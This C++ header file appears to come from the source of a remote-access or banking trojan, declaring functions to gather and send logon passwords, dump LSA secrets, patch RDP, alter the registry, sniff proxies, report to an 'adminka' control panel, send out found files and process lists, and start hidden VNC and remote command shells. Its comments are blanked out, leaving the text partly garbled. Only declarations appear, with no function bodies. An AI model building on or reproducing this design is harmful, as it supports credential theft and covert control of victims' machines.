#pragma once

#include "core\core.h"
#include "core\proxy.h"
#include "config.h"

namespace mimikatz
{

//      
bool SendAllLogonsThread(); //  
bool SendAllLogons();
//  
bool PatchRDP();
//   
bool UpdateReestr();
bool GetLogonPasswords( StringBuilder& s );

}

// (  ) ,    
bool PatchRDPFiles();

namespace Secure
{

typedef bool (*typeSecureFunc)( const Mem::Data&, const StringBuilder& folder );

bool Lsa( const Mem::Data& data, const StringBuilder& folder );

}

//   ,   
int FindProxyAddr( Proxy::Info* addr, int size );
//      (   )
//void FindAuthenticationProxy( Proxy::Info* addr, int c_addr );
//   
DWORD WINAPI FindProxyAddrCrossSniffer( void* );
//    adminka        
void SendCmdAdminka( Proxy::Info* addr, int c_addr );
//      path,      name     (dst = 1)    (dst=2),
//     (dst = 3)
//   
//       ,     *,    
int FindFiles( const StringBuilder& path, const StringBuilder& mask, int dst, const StringBuilder& name );

namespace VNC
{

//      vnc,
// res =
// 0 -  
// 1 -    
// 2 -  	
// 3 -      
// 4 -    VncStartServer  VncStopServer
// 5 -  VncStartServer  
typedef void (*typeFuncRes)( int res );

//    vnc,     callback  func,
//  ,  tag           ip 
bool Start( const char* namePlugin, const char* namePlugin_x64, AddressIpPort& ipp, typeFuncRes func, void* tag = 0, int c_tag = 0 );
//     
bool StartDefault( AddressIpPort& ipp, bool hvnc, void* tag = 0, int c_tag = 0 );
//  pipe  
StringBuilder& GetNameVNCServer( StringBuilder& s );

};

//  s       (    )
//   
int ListProcess( StringBuilder& s );
//    dst: 1 - , 2 - 
bool SendListProcess( int dst );

namespace WinCmd
{

void Start( const char* naneUser );

}
